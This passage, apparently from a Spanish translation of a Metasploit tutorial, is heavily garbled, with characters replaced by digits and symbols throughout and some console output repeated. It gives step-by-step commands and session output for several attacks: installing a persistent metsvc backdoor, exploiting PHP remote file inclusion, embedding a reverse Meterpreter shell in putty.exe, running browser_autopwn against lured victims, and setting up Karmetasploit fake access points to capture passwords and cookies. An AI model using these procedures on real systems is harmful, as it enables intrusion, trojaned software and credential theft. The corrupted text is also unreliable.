,,&( s5c"ost.e!e CM\EBL79E=\system&-\s5c"ost.e!e
,-&( s5c"ost.e!e CM\EBL79E=\system&-\s5c"ost.e!e
,/(' al4.e!e CM\EBL79E=\=ystem&-\al4.e!e
,/(0 EYC=C7?-.e!e CM\Pro4ram 6les\DLB\DLBEYC=- =er5ce\EYC=C7?-.e!e
,/)( jusc"ed.e!e CM\Pro4ram 6les\ba5a\jre(\bn\jusc"ed.e!e
,(/( msms4s.e!e CM\Pro4ram 6les\Messen4er\msms4s.e!e
,%.0 spools5.e!e CM\EBL79E=\system&-\spools5.e!e
,)-0 j@s.e!e CM\Pro4ram 6les\ba5a\jre(\bn\j@s.e!e
-'-0 snmp.e!e CM\EBL79E=\=ystem&-\snmp.e!e
-0.' &pro!y.e!e CM\&pro!y\bn\&pro!y.e!e
&''' mmc.e!e CM\EBL79E=\system&-\mmc.e!e
meterpreter > m4rate (&-
PZQ M4ratn4 to (&-...
PZQ M4raton completed successfully.
'ntes de instalar metsvc, vamos a ver qu! opciones estn disponibles para nosotros.
meterpreter > run mets5c 1"
PZQ
9P2B9L=M
1D Dutomatcally start a matc"n4 mult*"andler to connect to t"e
ser5ce
1" 2"s "elp menu
1r <nnstall an e!stn4 Meterpreter ser5ce (fles must be deleted
manually)
meterpreter >
Wa que estamos conectados a trav!s de una sesin de &eterpreter, no lo vamos a confiurar para
conectar de nuevo a nosotros de inmediato. :amos a instalar el servicio por ahora.
meterpreter > run mets5c
PZQ Creatn4 a meterpreter ser5ce on port &,&&%
PZQ Creatn4 a temporary nstallaton drectory
CM\79C<M3],\5ctm\C9CDC=],\2emp\bpl2p8n#s"...
PZQ >> <ploadn4 metsr5.dll...
PZQ >> <ploadn4 mets5c1ser5er.e!e...
PZQ >> <ploadn4 mets5c.e!e...
PZQ =tartn4 t"e ser5ce...
PZQ Z Bnstalln4 ser5ce mets5c
Z =tartn4 ser5ce
=er5ce mets5c successfully nstalled.
meterpreter >
W ah vamosZ El servicio se ha instalado ya la espera de una conexin. 9o hay que mantenerlo siempre
en espera de acuerdoB
4nteractin (ith &etsvc
&nteraccin con Metsvc
'hora vamos a utilizar el multi > handler con un payload de Cventanas > metsvc@bind@tcpC para
conectar al sistema remoto. Se trata de un payload especial, ya que por lo eneral una capacidad de
cara es &eterpreter mDltiples, donde una cantidad mnima de cdio se enva como parte de la
explotacin, a continuacin, ms carado est despu!s de la e%ecucin de cdio que se ha lorado.
/iense en un cohete lanzadera, y los cohetes propulsores que se utilizan para obtener el transbordador
espacial en rbita. Esto es lo mismo, excepto que en luar de elementos extra que hay y lueo cayendo,
&eterpreter comienza lo ms peque0o posible, entonces contrate. En este caso, sin embaro, el cdio
completo &eterpreter ya ha sido carado en la mquina remota, y no hay necesidad de una conexin de
puesta en escena.
9os pusimos todas nuestras opciones de -metsvc@bind@tcp Ccon la direccin 4/ de la vctima y el puerto
que desea que el servicio se conecta en nuestra mquina. ' continuacin, e%ecute el exploit.
msf > use e!plot*mult*"andler
msf e!plot("andler) > set PDJC9D7 wndows*mets5cIbndItcp
PDJC9D7 => wndows*mets5cIbndItcp
msf e!plot("andler) > set CP9?2 &,&&%
CP9?2 => &,&&%
msf e!plot("andler) > set ?>9=2 ,)-.,(0.,.,'.
?>9=2 => ,)-.,(0.,.,'.
msf e!plot("andler) > s"ow optons
Module optonsM
Lame Current =ettn4 ?e@ured 7escrpton
1111 111111111111111 11111111 11111111111
Payload optons (wndows*mets5cIbndItcp)M
Lame Current =ettn4 ?e@ured 7escrpton
1111 111111111111111 msf > use e!plot*mult*"andler
msf e!plot("andler) > set PDJC9D7 wndows*mets5cIbndItcp
PDJC9D7 => wndows*mets5cIbndItcp
msf e!plot("andler) > set CP9?2 &,&&%
CP9?2 => &,&&%
msf e!plot("andler) > set ?>9=2 ,)-.,(0.,.,'.
?>9=2 => ,)-.,(0.,.,'.
msf e!plot("andler) > s"ow optons
Module optonsM
Lame Current =ettn4 ?e@ured 7escrpton
1111 111111111111111 11111111 11111111111
Payload optons (wndows*mets5cIbndItcp)M
Lame Current =ettn4 ?e@ured 7escrpton
1111 111111111111111 11111111 11111111111
3KB26<LC t"read yes 3!t tec"n@ueM se"R t"readR process
CP9?2 &,&&% yes 2"e local port
?>9=2 ,)-.,(0.,.,'. no 2"e tar4et address
3!plot tar4etM
Bd Lame
11 1111
' Eldcard 2ar4et
msf e!plot("andler) > e!plot
4nmediatamente despu!s de la emisin de -explotar-, nuestro bac3door metsvc conecta de nuevo a
nosotros.
PZQ =tartn4 t"e payload "andler...
PZQ =tarted bnd "andler
PZQ Meterpreter sesson - opened (,)-.,(0.,.,',M('0.' 1> ,)-.,(0.,.,'.M&,&&%)
meterpreter > ps
Process lst
============
PB7 Lame Pat"
111 1111 1111
,.' smss.e!e \=ystem?oot\=ystem&-\smss.e!e
,(0 csrss.e!e \WW\CM\EBLL2\system&-\csrss.e!e
,00 wnlo4on.e!e \WW\CMEBLL2\system&-\wnlo4on.e!e
-,( ser5ces.e!e CM\EBLL2\system&-\ser5ces.e!e
--0 lsass.e!e CM\EBLL2\system&-\lsass.e!e
&0' s5c"ost.e!e CM\EBLL2\system&-\s5c"ost.e!e
.'0 spools5.e!e CM\EBLL2\system&-\spools5.e!e
... s5c"ost.e!e CM\EBLL2\=ystem&-\s5c"ost.e!e
.0' re4s5c.e!e CM\EBLL2\system&-\re4s5c.e!e
/'' M=2as#.e!e CM\EBLL2\system&-\M=2as#.e!e
/-0 8Mware=er5ce.e!e CM\Pro4ram 6les\8Mware\8Mware 2ools\8Mware=er5ce.e!e
/(. mets5c.e!e cM\EBLL2\my\mets5c.e!e
/00 EnM4mt.e!e CM\EBLL2\=ystem&-\E$3M\EnM4mt.e!e
(%( cmd.e!e CM\EBLL2\=ystem&-\cmd.e!e
%-. cmd.e!e CM\EBLL2\=ystem&-\cmd.e!e
%(. mmc.e!e CM\EBLL2\system&-\mmc.e!e
0,( mets5c1ser5er.e!e cM\EBLL2\my\mets5c1ser5er.e!e
000 8Mware2ray.e!e CM\Pro4ram 6les\8Mware\8Mware 2ools\8Mware2ray.e!e
0)( 8Mware<ser.e!e CM\Pro4ram 6les\8Mware\8Mware 2ools\8Mware<ser.e!e
).' frefo!.e!e CM\Pro4ram 6les\Mo+lla 6refo!\frefo!.e!e
)%- 2PDutoConn=5c.e!e CM\Pro4ram 6les\8Mware\8Mware 2ools\2PDutoConn=5c.e!e
,''' 3!plorer.e!e CM\EBLL2\3!plorer.e!e
,'00 2PDutoConnect.e!e CM\Pro4ram 6les\8Mware\8Mware 2ools\2PDutoConnect.e!e
meterpreter > pwd
CM\EBL79E=\system&-
meterpreter > 4etud
=er5er usernameM L2 D<2>9?B2J\=J=23M
meterpreter >
W aqu tenemos una sesin tpica &eterpreterZ
5na vez ms, tena cuidado con cundo y cmo usar este truco. 7os propietarios del sistema no ser
feliz si usted hace un traba%o de los atacantes ms fcil para ellos mediante la colocacin de un
bac3door en el sistema Dtil para ello.
MSF ,.tended 1sa!e
MSF uso e.tendido
&etasploit #rame2or3 es un activo tan verstil en cada ca%a de herramientas pentesters, no es ninuna
sorpresa para ver que se est ampliando constantemente. )ebido a la apertura del #rame2or3, como las
nuevas tecnoloas y la superficie de exploits que son rpidamente incorporados en el tronco de &S#
svn o usuarios finales escribir sus propios mdulos y compartirlos como me%or les parezca.
:amos a estar hablando de naveador 'utop2n, *armetasploit, y la focalizacin de &ac ,S N.
2"2 Meterpreter
7a 4nternet est llena de aplicaciones 2eb mal codificadas con mDltiples vulnerabilidades que se
divulue en una base diaria. 5na de las vulnerabilidades ms crticas es la inclusin de archivos
remotos K6#4M que permite a un atacante la fuerza de su cdio /"/ > su eleccin para ser e%ecutado por
el sitio remoto, aunque !ste se almacena en un sitio diferente. 6ecientemente, &etasploit public no
slo un mdulo php@include sino tambi!n un payload &eterpreter /"/. El mdulo php@include es muy
verstil ya que puede ser utilizado en contra de cualquier nDmero de aplicaciones 2eb vulnerables y no
a productos especficos.
$on el fin de hacer uso del mdulo de archivo explotar la inclusin, tendr que conocer la ruta exacta
en el sitio vulnerable. $arar el mdulo de &etasploit, podemos ver un ran nDmero de opciones
disponibles para nosotros.
msf > use e!plot*un!*webapp*p"pInclude
msf e!plot(p"pInclude) > s"ow optons
Module optonsM
Lame Current =ettn4 ?e@ured
7escrpton
1111 111111111111111 11111111
11111111111
PD2> * yes
2"e base drectory to prepend to t"e <?C to try
P>P?6B7$ *opt*metasplot&*msf&*data*e!plots*p"p*rf1locatons.dat no
D local fle contann4 a lst of <?Cs to tryR wt" KKpat"KK replacn4 t"e <?C
P>P<?B no
2"e <?B to re@uestR wt" t"e nclude parameter c"an4ed to KKpat"KK
Pro!es no
<se a pro!y c"an
?>9=2 yes
2"e tar4et address
?P9?2 0' yes
2"e tar4et port
=?8>9=2 '.'.'.' yes
2"e local "ost to lsten on.
=?8P9?2 0'0' yes
2"e local port to lsten on.
<?BPD2> no
2"e <?B to use for t"s e!plot (default s random)
8>9=2 no
>22P ser5er 5rtual "ost
3!plot tar4etM
Bd Lame
11 1111
' Dutomatc
7a opcin ms importante para establecer en este mdulo en particular es la ruta exacta hasta el punto
de insercin vulnerable. )onde normalmente se proporciona la direccin 567 a nuestra shell /"/,
simplemente tenemos que colocar el texto ;BBpathBBC y &etasploit se sabe para atacar este punto en
particular en el sitio.
msf e!plot(p"pInclude) > set P>P<?B *rfIme.p"pWpat"=KKpat"KK
P>P<?B => *rfIme.p"pWpat"=KKpat"KK
msf e!plot(p"pInclude) > set ?>9=2 ,)-.,(0.,.,/'
?>9=2 => ,)-.,(0.,.,/'
$on el fin de mostrar ms de la versatilidad de &etasploit, vamos a utilizar la cara &eterpreter /"/.
Tena en cuenta que en el momento de escribir estas lneas, este payload es todava un traba%o en
proreso. &s detalles se pueden encontrar en= http=>>blo.metasploit.com>JGOG>GP>meterpreter?for?
p2ned?home?paes.html .
msf e!plot(p"pInclude) > set PDJC9D7 p"p*meterpreter*bndItcp
PDJC9D7 => p"p*meterpreter*bndItcp
msf e!plot(p"pInclude) > e!plot
PZQ =tarted bnd "andler
PZQ <sn4 <?CM "ttpM**'.'.'.'M0'0'*e"4@o.
PZQ Cocal BPM "ttpM**,)-.,(0.,.,',M0'0'*e"4@o.
PZQ P>P nclude ser5er started.
PZQ =endn4 sta4e (-)&0- bytes) to ,)-.,(0.,.,/'
PZQ Meterpreter sesson , opened (,)-.,(0.,.,',M/()&, 1> ,)-.,(0.,.,/'M....) at
-','1'01-, ,.M&/M/, 1'(''
meterpreter > sysnfo
ComputerM 81KP=P-1=PC9B21
9= M Endows L2 81KP=P-1=PC9B21 /., buld -('' (Endows KP Professonal
=er5ce Pac# -) /0(
meterpreter >
'l iual que, en su con%unto nueva va de ataque se abre con &etasploit.
<ackdoorin! ,B, Files
<ackdoorin! archivos ,B,
$reacin personalizada e%ecutables puerta trasera a menudo tom un laro perodo de tiempo para
hacerlo de forma manual como atacantes. 7a posibilidad de incorporar un /ayload &etasploit en
cualquier e%ecutable que desea es simplemente brillante. $uando decimos que cualquier e%ecutable, esto
sinifica que cualquier archivo e%ecutable. 5sted quiere alo bac3door que se descaran de internetB
A<u! hay de iexplorerB , explorer.exe o masilla, cualquiera de estos iba a funcionar. 7a me%or parte de
esto es su extremadamente simple. Empezamos por la primera descara nuestro e%ecutable letimo, en
este caso, el cliente /uTTW popular.
rootGbtM*5ar*wwwH w4et "ttpM**t"e.eart".l*]s4tat"am*putty*latest*!0(*putty.e!e
11-',,1'-1'/ '0M,0M/(11 "ttpM**t"e.eart".l*]s4tat"am*putty*latest*!0(*putty.e!e
?esol5n4 t"e.eart".l... -,%.,.%.0,.-
Connectn4 to t"e.eart".l[-,%.,.%.0,.-[M0'... connected.
>22P re@uest sentR awatn4 response... &'- 6ound
CocatonM "ttpM**t"e.eart".l*]s4tat"am*putty*'.('*!0(*putty.e!e Pfollown4Q
11-',,1'-1'/ '0M,0M/%11 "ttpM**t"e.eart".l*]s4tat"am*putty*'.('*!0(*putty.e!e
?eusn4 e!stn4 connecton to t"e.eart".lM0'.
>22P re@uest sentR awatn4 response... -'' 9X
Cen4t"M ./.(/( (...X) Papplcaton*!1msdos1pro4ramQ
=a5n4 toM ^putty.e!eA
,''F
P=================================================================================
==================================================================================
===============================>Q ./.R(/( ,&0X*s n &.-s
-',,1'-1'/ '0M,)M'' (,&0 X$*s) 1 ^putty.e!eA sa5ed P./.(/(*./.(/(Q
rootGbtM*5ar*wwwH
' continuacin, el uso msfpayload para inyectar un payload inversa meterpreter en nuestro e%ecutable y
codificado es E veces usando shi3ata@a@nai y uardar el archivo de puerta trasera en nuestro directorio
raz 2eb.
rootGbtM*5ar*wwwH msfpayload wndows*meterpreter*re5erseItcp C>9=2=,)-.,(0.,.,',
CP9?2=..& ? [ msfencode 1e !0(*s"#ataI4aIna 1c & 1t e!e 1! *5ar*www*putty.e!e 1o
*5ar*www*putty!.e!e
PZQ !0(*s"#ataI4aIna succeeded wt" s+e &,% (teraton=,)
PZQ !0(*s"#ataI4aIna succeeded wt" s+e &.. (teraton=-)
PZQ !0(*s"#ataI4aIna succeeded wt" s+e &%, (teraton=&)
rootGbtM*5ar*wwwH
)esde que hemos seleccionado un payload meterpreter invertir, tenemos que confiurar el mane%ador
de explotar a caro de la conexin de rereso a nuestro equipo que ataca.
msf > use e!plot*mult*"andler
msf e!plot("andler) > set PDJC9D7 wndows*meterpreter*re5erseItcp
PDJC9D7 => wndows*meterpreter*re5erseItcp
msf e!plot("andler) > set C>9=2 ,)-.,(0.,.,',
C>9=2 => ,)-.,(0.,.,',
msf e!plot("andler) > set CP9?2 ..&
CP9?2 => ..&
msf e!plot("andler) > e!plot
PZQ =tarted re5erse "andler on ,)-.,(0.,.,',M..&
PZQ =tartn4 t"e payload "andler...
Tan pronto como las descaras de nuestra vctima y e%ecuta nuestro versin especial de la masilla, se
nos presenta con una shell meterpreter en el ob%etivo.
PZQ =endn4 sta4e (%.)'/( bytes) to ,)-.,(0.,.-',
PZQ Meterpreter sesson , opened (,)-.,(0.,.,',M..& 1> ,)-.,(0.,.-',M,,0)) at =at
6eb '/ '0M/.M-/ 1'%'' -',,
meterpreter > 4etud
=er5er usernameM K3L1KP1=PC9B2\Ddmnstrator
meterpreter >
<rowser Autopwn
nave!ador Autopwn
En )E#$,9 OF, &etasploit desarrollador Eipto dio a conocer naveador 'utop2n de &S#. Este
nuevo mdulo realiza interesantes huellas del naveador antes de lanzar exploits de la vctima. /or lo
tanto, si el /$ remoto est utilizando 4nternet Explorer P, no va a lanzar exploits 4EF en ella. 7as
diapositivas para la presentacin de Eipto est disponible para su lectura en
http=>>defcon.or>imaes>defcon?OF>dc?OF?presentations>defcon?OF?eypt?
uided@missiles@metasploit.pdf.
7a confiuracin para el Cservidor > bro2ser@autop2n -mdulo es extremadamente simple, como se
muestra a continuacin.
msf > use ser5er*browserIautopwn
msf au!lary(browserIautopwn) > s"ow optons
Module optonsM
Lame Current =ettn4 ?e@ured 7escrpton
1111 111111111111111 11111111 11111111111
C>9=2 ,)-.,(0.,.,', yes 2"e BP address to use for re5erse1connect
payloads
=?8>9=2 '.'.'.' yes 2"e local "ost to lsten on.
=?8P9?2 0'0' yes 2"e local port to lsten on.
==C false no <se ==C
<?BPD2> no 2"e <?B to use for t"s e!plot (default s
random)
msf au!lary(browserIautopwn) > set urpat" *
urpat" => *
msf au!lary(browserIautopwn) >
Eso es realmente todo lo que hay a la confiuracin requerida. 'hora vamos a e%ecutarlo y ver lo que
hace.
msf au!lary(browserIautopwn) > run
PZQ Du!lary module runnn4 as bac#4round job
msf au!lary(browserIautopwn) >
PZQ =tartn4 e!plot modules on "ost ,)-.,(0.,.,',...
PZQ 111
...snp...
PZQ =tartn4 e!plot mult*browser*frefo!IescapeIret5al wt" payload
4enerc*s"ellIre5erseItcp
PZQ >andler bndn4 to C>9=2 '.'.'.'
PZQ =tarted re5erse "andler
PZQ <sn4 <?CM "ttpM**'.'.'.'M0'0'*+Ct4%oC
PZQ Cocal BPM "ttpM**,)-.,(0.,.,',M0'0'*+Ct4%oC
PZQ =er5er started.
PZQ =tartn4 e!plot mult*browser*mo+llaIcompareto wt" payload
4enerc*s"ellIre5erseItcp
PZQ >andler bndn4 to C>9=2 '.'.'.'
PZQ =tarted re5erse "andler
PZQ <sn4 <?CM "ttpM**'.'.'.'M0'0'*52L;b!
PZQ Cocal BPM "ttpM**,)-.,(0.,.,',M0'0'*52L;b!
PZQ =er5er started.
PZQ =tartn4 e!plot mult*browser*mo+llaIna54atorja5a wt" payload
4enerc*s"ellIre5erseItcp
PZQ >andler bndn4 to C>9=2 '.'.'.'
PZQ =tarted re5erse "andler
PZQ <sn4 <?CM "ttpM**'.'.'.'M0'0'*abm?&&j!=ts6%
PZQ Cocal BPM "ttpM**,)-.,(0.,.,',M0'0'*abm?&&j!=ts6%
PZQ =er5er started.
PZQ =tartn4 e!plot mult*browser*operaIconf4o5erwrte wt" payload
4enerc*s"ellIre5erseItcp
PZQ >andler bndn4 to C>9=2 '.'.'.'
PZQ =tarted re5erse "andler
...snp...
PZQ =tarted re5erse "andler
PZQ <sn4 <?CM "ttpM**'.'.'.'M0'0'*?d77"XDLp8
PZQ Cocal BPM "ttpM**,)-.,(0.,.,',M0'0'*?d77"XDLp8
PZQ =er5er started.
PZQ 111 7oneR found ,) e!plot modules
PZQ <sn4 <?CM "ttpM**'.'.'.'M0'0'*
PZQ Cocal BPM "ttpM**,)-.,(0.,.,',M0'0'*
PZQ =er5er started.
'hora todo lo que tiene que hacer es conseuir alo pobre vctima para ir a nuestro sitio 2eb malicioso
y cuando lo hacen, 'utop2n naveador se diriir a su naveador basado en su versin.
PZQ ?e@uest A*A from ,)-.,(0.,.,-0M,%(%
PZQ ?e@uest A*W
sessd=8-luY;)&c+pJ<7p,bm?lYmluYES(YE.tdKM(e74-9#,2=<<(L.w9,LSMjo=A from
,)-.,(0.,.,-0M,%(%
PZQ ba5a=crpt ?eportM EndowsMKPMundefnedMen1usM!0(MM=B3M(.'N=P-M
PZQ Lo databaseR usn4 tar4etcac"e nstead
PZQ ?espondn4 wt" e!plots
PZQ =endn4 Bnternet 3!plorer C9M Create9bject Code 3!ecuton e!plot >2MC to
,)-.,(0.,.,-0M,%%....
PZQ =endn4 Bnternet 3!plorer 7a!ctle.9CK Xey6rame Met"od >eap $uffer 95erflow
8ulnerablty to ,)-.,(0.,.,-0M,%%/...
PZQ =endn4 Mcrosoft Bnternet 3!plorer 7ata $ndn4 Memory Corrupton nt >2MC
to ,)-.,(0.,.,-0M,%%....
PZQ =endn4 3K3 payload to ,)-.,(0.,.,-0M,%%/...
PZQ =endn4 sta4e (%,0&&( bytes)
PZQ Meterpreter sesson , opened (,)-.,(0.,.,',M(-&(' 1> ,)-.,(0.,.,-0M,%)0)
msf au!lary(browserIautopwn) > sessons 1l
Dct5e sessons
===============
Bd 2ype Bnformaton
Connecton
11 1111 11111111111
1111111111
, meterpreter !0(*wn&- K3L1KP1=PC9B2\Ddmnstrator G K3L1KP1=PC9B2
,)-.,(0.,.,',M&&&& 1> ,)-.,(0.,.-',M&%(.
- meterpreter !0(*wn&- doo#1re5o\doo#e G 799X1?389
,)-.,(0.,.,',M&&&& 1> ,)-.,(0.,.,'/M/%0',
& meterpreter !0(*wn&- K3L1-X&16<YY\Ddmnstrator G K3L1-X&16<YY
,)-.,(0.,.,',M&&&& 1> ,)-.,(0.,.-')M&.%-
msf au!lary(browserIautopwn) > sessons 1 ,
PZQ =tartn4 nteracton wt" ,...
meterpreter > sysnfo
ComputerM KP1=P-1$D?3
9= M Endows KP ($uld -(''R =er5ce Pac# -).
meterpreter > pconf4
M= 2CP Coopbac# nterface
>ardware MDCM ''M''M''M''M''M''
BP Dddress M ,-%.'.'.,
Letmas# M -//.'.'.'
DM7 PCL32 6amly PCB 3t"ernet Ddapter 1 Pac#et =c"eduler Mnport
>ardware MDCM ''M'cM-)M.,Mf-Me0
BP Dddress M ,)-.,(0.,.,-0
Letmas# M -//.-//.'.'
meterpreter >
&uy operacin de pulidoZ W no slo se limita a 4nternet Explorer. 4ncluso #irefox puede ser abusado.
PZQ ?e@uest A*A from ,)-.,(0.,.,,-M,,--
PZQ ?e@uest A*Wsessd=8-luY;)&c+pJ<7p,bm?lYmluYES(YnBt?lB(e74-9#Ypcm8mb&4(M2o=A
from ,)-.,(0.,.,,-M,,--
PZQ ba5a=crpt ?eportM EndowsMKPMundefnedMfr16?M!0(M6refo!M,M
PZQ Lo databaseR usn4 tar4etcac"e nstead
PZQ ?espondn4 wt" e!plots
PZQ ?e@uest A*fa5con.coA from ,)-.,(0.,.,,-M,,-&
PZQ .'.n4 *fa5con.co
PZQ =endn4 Mo+lla =ute*6refo! Bnstall8erson1>compare2o() Code 3!ecuton to
,)-.,(0.,.,,-M,,-....
PZQ =endn4 Mo+lla =ute*6refo! La54ator 9bject Code 3!ecuton to
,)-.,(0.,.,,-M,,-/...
PZQ =endn4 6refo! &./ escape() ?eturn 8alue Memory Corrupton to
,)-.,(0.,.,,-M,,-&...
PZQ =endn4 Mo+lla =ute*6refo! Bnstall8erson1>compare2o() Code 3!ecuton to
,)-.,(0.,.,,-M,,-/...
PZQ Command s"ell sesson & opened (,)-.,(0.,.,',M/(..& 1> ,)-.,(0.,.,,-M,,-()
msf au!lary(browserIautopwn) > sessons 1 &
PZQ =tartn4 nteracton wt" &...
Mcrosoft Endows KP P8erson /.,.-(''Q
(C) Copyr4"t ,)0/1-'', Mcrosoft Corp.
CM\Pro4ram 6les\Mo+lla 6refo!> "ostname
"ostname
doo#e1fa,/.&/.
CM\Pro4ram 6les\Mo+lla 6refo!> pconf4
pconf4
Endows BP Conf4uraton
3t"ernet adapter Cocal Drea ConnectonM
Connecton1specfc 7L= =uff! . M doo#e
BP Dddress. . . . . . . . . . . . M ,)-.,(0.,.,,-
=ubnet Mas# . . . . . . . . . . . M -//.-//.'.'
7efault ;ateway . . . . . . . . . M ,)-.,(0.,.,
CM\Pro4ram 6les\Mo+lla 6refo!>
Yarmetasploit
*armetasploit es una ran funcin dentro de &etasploit, lo que le permite a los puntos de acceso falsos,
capturar contrase0as, datos de harvest, y llevar a cabo ataques contra el naveador de los clientes.
Este proyecto es una combinacin del c3armad de )ino )ai 8ovi y Shane &acaulay y la base de
&etasploit. El resultado es una manera sumamente eficaz de absorber la informacin y obtener
concolas de comands de computadoras alrededor de ti comunicadas de forma inalembrica esta version
aun esta en prueba pero las caracteristicas si que son interesantes
<,aptura de pass"ords de POPH e 0MAPB Cplano y %%LD
<Obtener correo enviado via %M4P
<*4P y !44P obtencion de nombres de usuarios
<Obtener coo+ies de vaios sitios populares
<Obtener campos de 'ormularios enviados por http
<5se %M- relay attac+s
<(xplote de'ectos del navegador
<Mejora del escaneo de redes inalambricas ocultas
Yarmetasploit #onfi!uration
Yarmetasploit confi!uracin
"ay un poco de confiuracines necesarias para obtener *armetasploit y funcional. El primer paso es
obtener el archivo de control de e%ecucin de *armetasploit=
rootGbtM*pentest*e!plots*framewor#&H w4et "ttpM**www.offens5e1
securty.com*downloads*#arma.rc
11-'')1'/1'. ,0M.&M-(11 "ttpM**metasplot.com*users*"dm*tools*#arma.rc
?esol5n4 metasplot.com... ((.-.'.-,&.0,
Connectn4 to metasplot.com[((.-.'.-,&.0,[M0'... connected.
>22P re@uest sentR awatn4 response... -'' 9X
Cen4t"M ,'00 (,.,X) Pte!t*planQ
=a5n4 toM ^#arma.rcA
,''F
P============================================================================>Q
,R'00 11.1X*s n 's
-'')1'/1'. ,0M.&M-% (00.% M$*s) 1 ^#arma.rcA sa5ed P,'00*,'00Q
)espu!s de haber obtenido este requisito, es necesario establecer un poco de la infraestructura que ser
necesaria. $uando los clientes se adhieren a la '/ falsos que corren, se espera que se le asina una
direccin 4/. /or lo tanto, tenemos que poner un servidor )"$/ en su luar. :amos a confiurar
nuestro Cdhcpd.conf -archivo.
rootGbtM*pentest*e!plots*framewor#&H cat *etc*d"cp&*d"cpd.conf
opton doman1name1ser5ers ,'.'.'.,N
default1lease1tme ('N
ma!1lease1tme %-N
ddns1update1style noneN
aut"ortat5eN
lo41faclty local%N
subnet ,'.'.'.' netmas# -//.-//.-//.' O
ran4e ,'.'.'.,'' ,'.'.'.-/.N
opton routers ,'.'.'.,N
opton doman1name1ser5ers ,'.'.'.,N
V
Entonces tenemos que instalar un par de requisitos.
rootGbtM]H 4em nstall act5erecord s@lte&1ruby
=uccessfully nstalled act5erecord1-.&.-
$uldn4 nat5e e!tensons. 2"s could ta#e a w"le...
=uccessfully nstalled s@lte&1ruby1,.-..
- 4ems nstalled
Bnstalln4 r documentaton for act5erecord1-.&.-...
Bnstalln4 r documentaton for s@lte&1ruby1,.-.....
Bnstalln4 ?7oc documentaton for act5erecord1-.&.-...
Bnstalln4 ?7oc documentaton for s@lte&1ruby1,.-.....
'hora estamos listos para ir. En primer luar, tenemos que reiniciar nuestro adaptador 2ireless en
modo monitor. /ara ello, en primer luar parar la interfaz, a continuacin, utilizar airmon?n para
reiniciar en modo monitor. Entonces, nosotros utilizamos airbase?n para iniciar una nueva red.
rootGbtM]H armon1n4
Bnterface C"pset 7r5er
wf' Dt"eros madwf1n4
at"' Dt"eros madwf1n4 8DP (parentM wf')
rootGbtM]H armon1n4 stop at"'
Bnterface C"pset 7r5er
wf' Dt"eros madwf1n4
at"' Dt"eros madwf1n4 8DP (parentM wf') (8DP destroyed)
rootGbtM]H armon1n4 start wf'
6ound & processes t"at could cause trouble.
Bf arodump1n4R areplay1n4 or artun1n4 stops wor#n4 after
a s"ort perod of tmeR you may want to #ll (some of) t"em!
1e
PB7 Lame
/(&( Letwor#Mana4er
/(., wpaIsupplcant
/%.0 d"clent&
Bnterface C"pset 7r5er
wf' Dt"eros madwf1n43rror for wreless re@uest :=et 6re@uency:
(0$'.) M
=32 faled on de5ce at"' N Lo suc" de5ce.
at"'M 3??9? w"le 4ettn4 nterface fla4sM Lo suc" de5ce
at", Dt"eros madwf1n4 8DP (parentM wf')
rootGbtM]H arbase1n4 1P 1C &' 1e :< ? PEL7: 15 at",
6or nformatonR no acton re@uredM <sn4 4ettmeofday() nstead of *de5*rtc
--M/-M-/ Created tap nterface at'
--M/-M-/ 2ryn4 to set M2< on at' to ,/''
--M/-M-/ 2ryn4 to set M2< on at", to ,0''
--M/-M-/ Dccess Pont wt" $==B7 ''M,DM.7M.)M'$M-( started.
'irbase?n ha creado una nueva interfaz para nosotros, atG. Esta es la interfaz que ahora se utilizan. '
continuacin se nos asine una direccin 4/ y poner en marcha nuestro servidor )"$/ escuchando en
nuestra nueva interfaz.
rootGbtM]H fconf4 at' up ,'.'.'., netmas# -//.-//.-//.'
rootGbtM]H d"cpd& 1cf *etc*d"cp&*d"cpd.conf at'
Bnternet =ystems Consortum 7>CP =er5er 8&.,.,
Copyr4"t -''.1-''0 Bnternet =ystems Consortum.
Dll r4"ts reser5ed.
6or nfoR please 5st "ttpM**www.sc.or4*sw*d"cp*
Erote ' leases to leases fle.
Cstenn4 on CP6*at'*''M,aM.dM.)M'bM-(*,'.'.'*-.
=endn4 on CP6*at'*''M,aM.dM.)M'bM-(*,'.'.'*-.
=endn4 on =oc#et*fallbac#*fallbac#1net
CanAt create PB7 fle *5ar*run*d"cpd.pdM Permsson dened.
rootGbtM]H ps au! [ 4rep d"cpd
d"cpd (.)' '.' '., &0,- ,0.' W =s --M// 'M'' d"cpd& 1cf
*etc*d"cp&*d"cpd.conf at'
root (.)& '.' '.' &-&- %00 pts*' =U --M// 'M'' 4rep d"cpd
Yarmetasploit &n Action
Yarmetasploit ,n Accin
'hora, con todo listo, lo Dnico que queda es e%ecutar *armetasploitZ /onemos en marcha &etasploit,
alimentndolo con nuestro archivo de control de e%ecucin.
rootGbtM]H cd *pentest*e!plots*framewor#&*
rootGbtM*pentest*e!plots*framewor#&H msfconsole 1r #arma.rc
I
[ [ o
I I I I I[I IIR R I [ [ II I[I
* [* [* [ [* [ * [ * I[* I[* * I[ [
[ [ [I*[II*[I*I*[I* * [II* [II*II* [I*[I*
*[
[
=P metasplot 5&.&1rc, PcoreM&.& apM,.'Q
U 11 11=P &%- e!plots 1 -&. payloads
U 11 11=P -' encoders 1 % nops
=P ,.) au!
resource> load dbIs@lte&
P1Q
P1Q 2"e functonalty pre5ously pro5ded by t"s plu4n "as been
P1Q nte4rated nto t"e core command set. <se t"e new AdbIdr5erA
P1Q command to use a database dr5er ot"er t"an s@lte& (w"c"
P1Q s now t"e default). Dll of t"e old commands are t"e same.
P1Q
P1Q 6aled to load plu4n from *pentest*e!plots*framewor#&*plu4ns*dbIs@lte&M
7eprecated plu4n
resource> dbIcreate *root*#arma.db
PZQ Creatn4 a new database nstance...
PZQ =uccessfully connected to t"e database
PZQ 6leM *root*#arma.db
resource> use au!lary*ser5er*browserIautopwn
resource> set4 D<29PELI>9=2 ,'.'.'.,
D<29PELI>9=2 => ,'.'.'.,
resource> set4 D<29PELIP9?2 ////'
D<29PELIP9?2 => ////'
resource> set4 D<29PELI<?B *ads
D<29PELI<?B => *ads
resource> set C>9=2 ,'.'.'.,
...snp...
PZQ <sn4 <?CM "ttpM**'.'.'.'M////'*"+r0S;)/C
PZQ Cocal BPM "ttpM**,)-.,(0.-.-M////'*"+r0S;)/C
PZQ =er5er started.
PZQ >andler bndn4 to C>9=2 '.'.'.'
PZQ =tarted re5erse "andler
PZQ =er5er started.
PZQ >andler bndn4 to C>9=2 '.'.'.'
PZQ =tarted re5erse "andler
PZQ =er5er started.
msf au!lary("ttp) >
En este punto, estamos en marcha. Todo lo que se requiere ahora es que un cliente se conecte al punto
de acceso falso. $uando se conectan, se ver un falso Cportal cautivoC pantalla de estilo
